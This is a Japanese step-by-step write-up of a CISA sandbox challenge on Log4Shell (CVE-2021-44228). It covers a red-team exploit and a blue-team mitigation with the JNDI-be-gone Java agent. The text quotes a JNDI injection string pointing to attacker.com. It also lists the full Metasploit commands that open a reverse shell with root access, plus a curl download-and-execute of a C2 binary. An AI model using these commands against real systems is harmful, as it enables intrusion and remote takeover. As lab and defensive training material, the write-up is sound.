
CISA Log4Shell サンドボックスチャレンジのステップバイステップのウォークスルーで、Metasploit による攻撃的エクスプロイトと、JNDI-be-gone Java エージェントを使用した防御的緩和策を網羅しています。
このウォークスルーでは、CISA脅威サンドボックスチャレンジ(CVE-2021-44228、通称Log4Shell)を完了するために取った手順を説明します。このチャレンジでは、隔離されたサンドボックス環境内にある架空のITマネージドサービスプロバイダー(MSP)であるDasMSPを対象に、レッドチーム(攻撃)とブルーチーム(防御)の2つの目標を達成する必要がありました。
注意: このウォークスルーのコマンドやファイルパスは、この環境で取った特定の手順を反映しています。お使いの環境は、IPアドレス、ファイルの場所、ツールの利用可能性などが異なる場合があります。必要に応じてコマンドを環境に合わせて調整してください。
CVE-2021-44228は、Apache Log4j Javaログフレームワークの特定のバージョンに影響を与える重大なリモートコード実行(RCE)脆弱性(CVSS 10.0)です。この脆弱性は、Log4jのJNDIルックアップ機能に起因し、${jndi:ldap://attacker.com/exploit} のような特別に細工された文字列をLog4jがログに記録する任意のデータに注入することでトリガーされます。攻撃者が脆弱なアプリケーションに悪意のある文字列をログに記録させることができれば(一般的にはHTTPヘッダを介して)、Log4jは攻撃者が制御するサーバーに接続し、任意のコードを実行します。
Log4Shellは、2021年12月10日にCISAの既知の悪用された脆弱性(KEV)カタログに追加され、2021年と2022年の両方のTop Routinely Exploited Vulnerabilities共同勧告に掲載されました。
| マシン | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
両方のターゲットシステムはLinuxで、影響を受けるバージョンのLog4jを使用した脆弱なJava Webアプリケーション(dasmsp.jar)を実行しています。
exploit/multi/http/log4shell_header_injection)Security-Deskでターミナルを開き、Metasploitを起動しました:
msfconsole
ブリーフィングで提供されたモジュールパスがインストール済みのバージョンと一致しませんでした。正しいモジュールを検索しました:
search log4shell
正しいモジュールを特定: exploit/multi/http/log4shell_header_injection。
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploitは自動的に複数のHTTPヘッダに対してLog4Shell脆弱性をテストしました。Red Targetは複数のヘッダ(Authorization、Cache-Control、User-Agent、X-Forwarded-Forなど)で脆弱であることが確認されました。Red Targetへのコマンドシェルセッションが開かれました。
Red Targetでのルートアクセスを確認:
id
出力: uid=0(root) gid=0(root) groups=0(root)
deploy_c2バイナリはSecurity-Deskにあり、Red Targetにはありませんでした。ターゲットにはwgetも直接パス参照も利用できませんでした。Security-Deskで2つ目のターミナルを開き、Python経由でファイルを配信しました:
cd ~/Desktop/Resources
python3 -m http.server 8080
Red TargetのMetasploitシェルセッションに戻り、バイナリをダウンロードして実行しました:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
出力: Done!
✅ Red TargetへのC2リスナー展開 確認完了。
使用した緩和方法は、NCC Groupが開発したlog4j-jndi-be-gone-standalone.jar Javaエージェントです。これは、基盤となるアプリケーションにパッチを適用することなく、実行時にJNDIルックアップ動作を修正します。このエージェントの詳細は、NCC Groupの研究ブログにあります。
Security-Deskのターミナルから、SCPを使用してJavaエージェントJARファイルを転送しました:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
ExecStart行を見つけ、-javaagentフラグを追加しました:
変更前:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
変更後:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Ctrl+O → Enter → Ctrl+Xで保存しました。
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ Blue TargetでのCVE-2021-44228の緩和 確認完了。